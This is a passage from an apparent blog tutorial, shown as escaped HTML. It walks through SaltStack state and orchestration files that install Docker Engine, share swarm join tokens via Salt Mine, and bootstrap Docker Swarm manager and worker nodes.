    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;gpgkey&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;pillar&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;repositories'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;repos'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;gpgkey'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;gpgcheck&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
  &lt;span class="na"&gt;service.running&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;enable&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;True&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;require&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pkg&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker-engine&lt;/span&gt;

&lt;span class="na"&gt;docker-engine&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pkg.installed&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;pillar&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;repositories'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;pkgs'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker-engine'&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;version'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;require&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pkgrepo&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h4 id="2-set-salt-mine-data"&gt;2. Set Salt Mine data&lt;/h4&gt;

&lt;p&gt;I highly encourage you to read up on &lt;a href="https://docs.saltstack.com/en/latest/topics/mine/"&gt;how the Salt Mine works&lt;/a&gt; – suffice to say that we are setting some mine data right now that will be important when we get to orchestration.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;docker/mine.sls&lt;/code&gt;:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="na"&gt;/etc/salt/minion.d/swarm.conf&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;file.managed&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;source&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;salt://docker/files/etc/salt/minion.d/swarm.conf&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;require&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pkg&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker-engine&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;/etc/salt/minion.d/swarm.conf&lt;/code&gt; :&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="na"&gt;mine_functions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;manager_token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;mine_function&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cmd.run&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;swarm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;join-token&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;manager&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-q'&lt;/span&gt;
  &lt;span class="na"&gt;manager_ip&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;mine_function&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;network.ip_addrs&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;eth0&lt;/span&gt;
  &lt;span class="na"&gt;worker_token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;mine_function&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cmd.run&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;swarm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;join-token&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;worker&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;-q'&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h4 id="3-drain-swarm-managers"&gt;3. Drain Swarm managers&lt;/h4&gt;

&lt;p&gt;We’ll use this state in just a moment. Stay tuned!&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;docker/manager/drain.sls&lt;/code&gt;:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="na"&gt;drain manager&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;cmd.run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;node&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;update&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;--availability&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;drain&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;grains['id'] }}'&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h4 id="4-create-a-new-swarm-cluster"&gt;4. Create a new Swarm cluster&lt;/h4&gt;

&lt;p&gt;This state installs Docker Engine and sets the mine data before initializing a Docker Swarm cluster. After the cluster is created, the node will be drained such that containers cannot be scheduled on it.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;docker/manager/first.sls&lt;/code&gt;:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="na"&gt;include&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.engine&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.mine&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.manager.drain&lt;/span&gt;

&lt;span class="na"&gt;init new swarm cluster&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;cmd.run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;swarm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;init&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;--advertise-addr&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;'&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;require&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pkg&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker-engine&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;require_in&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;cmd&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;drain manager&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h4 id="5-add-managers-to-the-swarm-cluster"&gt;5. Add managers to the Swarm cluster&lt;/h4&gt;

&lt;p&gt;Every joining manager node needs to retrieve a token from a current cluster manager in order to join. The joining manager retrieves this through Salt Mine as seen in the &lt;code class="language-plaintext highlighter-rouge"&gt;salt['mine.get']&lt;/code&gt; call. Similar to the first manager node, the last thing joining manager nodes do is get drained.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;docker/manager/join.sls&lt;/code&gt;:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;set join_token = salt&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mine.get'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;('*'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;manager_token'&lt;/span&gt;&lt;span class="nv"&gt;).items()&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt; &lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;
&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;set join_ip = salt&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mine.get'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;('*'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;manager_ip'&lt;/span&gt;&lt;span class="nv"&gt;).items()&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt; &lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;

&lt;span class="na"&gt;include&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.engine&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.mine&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.manager.drain&lt;/span&gt;

&lt;span class="na"&gt;join cluster&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;cmd.run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;swarm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;join&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;--token&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;join_token&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;join_ip&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}:2377'&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;require&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pkg&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker-engine&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;require_in&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;cmd&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;drain manager&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h4 id="6-add-workers-to-the-swarm-cluster"&gt;6. Add workers to the Swarm cluster&lt;/h4&gt;

&lt;p&gt;Finally, this state joins the cluster just like our manager nodes, but there are a few differences. Specifically, the workers:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;get a different token&lt;/li&gt;
  &lt;li&gt;do not get mine data&lt;/li&gt;
  &lt;li&gt;are not drained&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;docker/worker/join.sls&lt;/code&gt;:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;set join_token = salt&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mine.get'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;('*'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;worker_token'&lt;/span&gt;&lt;span class="nv"&gt;).items()&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt; &lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;
&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;set join_ip = salt&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;mine.get'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;('*'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;manager_ip'&lt;/span&gt;&lt;span class="nv"&gt;).items()&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="pi"&gt;][&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt; &lt;span class="err"&gt;%&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;

&lt;span class="na"&gt;include&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;docker.engine&lt;/span&gt;

&lt;span class="na"&gt;join cluster&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;cmd.run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;docker&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;swarm&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;join&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;--token&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;join_token&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;{{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;join_ip&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}:2377'&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;require&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;pkg&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker-engine&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;



&lt;!-- inline --&gt;
&lt;p&gt;&lt;ins class="adsbygoogle" style="display: block;"&gt;&lt;/ins&gt;
&lt;/p&gt;

&lt;h3 id="orchestrator"&gt;Orchestrator&lt;/h3&gt;

&lt;p&gt;Fantastic! Now we have the scaffolding in place for us to get some power out of an orchestrate runner. The simplest way to think about orchestration in Salt is to think of it like an abstraction layer on top of our Salt states. Where we might normally execute a single &lt;code class="language-plaintext highlighter-rouge"&gt;salt 'web*' state.apply&lt;/code&gt; to describe the entire state of a minion, orchestration allows us to chain multiple states and other functions together in order to achieve our desired end-state. Let’s see what that looks like in practice.&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;docker/bootstrap.sls&lt;/code&gt;:&lt;/p&gt;

&lt;figure class="highlight"&gt;&lt;pre&gt;&lt;code class="language-yaml"&gt;&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;for manager in salt&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;saltutil.runner'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;('cache.grains'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;tgt='swarmmanager'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;expr_form='nodegroup') %&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;

&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;if loop.first %&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;
&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;set manager_sls = 'docker.manager.first' %&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;
&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;else %&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;
&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;set manager_sls = 'docker.manager.join' %&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;
&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;endif %&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;

&lt;span class="s"&gt;bootstrap swarm manager {{ manager }}&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;salt.state&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;sls&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;manager_sls&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;tgt&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;manager&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;

&lt;span class="s"&gt;update mine for {{ manager }}&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;salt.function&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;mine.update&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;tgt&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;*'&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;require&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;salt&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;bootstrap swarm manager {{ manager }}&lt;/span&gt;

&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;endfor %&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;

&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;for worker in salt&lt;/span&gt;&lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;saltutil.runner'&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;('cache.grains'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;tgt='swarmworker'&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;expr_form='nodegroup') %&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;

&lt;span class="s"&gt;bootstrap swarm worker {{ worker }}&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;salt.state&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;sls&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;docker.worker.join&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;tgt&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;worker&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;

&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="err"&gt;%&lt;/span&gt; &lt;span class="nv"&gt;endfor %&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Let’s walk through the previous snippet because there are a few things happening there. There are two for-loops: one for the manager nodes and one of the worker nodes, and each of them are using the &lt;code class="language-plaintext highlighter-rouge"&gt;cache.grains&lt;/code&gt; runner to iterate over the node groups &lt;code class="language-plaintext highlighter-rouge"&gt;swarmmanager&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;swarmworker&lt;/code&gt;, respectively. The runner itself isn’t very important – what’s important is that it is a runner that allows us to iterate over members of a target group.&lt;/p&gt;

&lt;div class="bs-callout bs-callout-warning"&gt;
  &lt;p&gt;There was a &lt;a href="https://github.com/saltstack/salt/issues/37742"&gt;recent bug that prevented runners from matching on node groups&lt;/a&gt; that has been fixed and closed out as of publishing this article. If you’re still getting the error &lt;code class="language-plaintext highlighter-rouge"&gt;Failed matching available minions with nodegroup pattern&lt;/code&gt;, updating to the latest release of 2016.3 should fix it.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;The &lt;strong&gt;manager&lt;/strong&gt; for-loop takes a special path on the first circuit. On the first iteration, we’re running &lt;code class="language-plaintext highlighter-rouge"&gt;docker.manager.first&lt;/code&gt;. As we showed earlier, &lt;code class="language-plaintext highlighter-rouge"&gt;docker.manager.first&lt;/code&gt; has the duty of initializing a new Swarm cluster for us. Every subsequent iteration instead calls &lt;code class="language-plaintext highlighter-rouge"&gt;docker.manager.join&lt;/code&gt; which, as the name implies, joins the existing cluster.&lt;/p&gt;

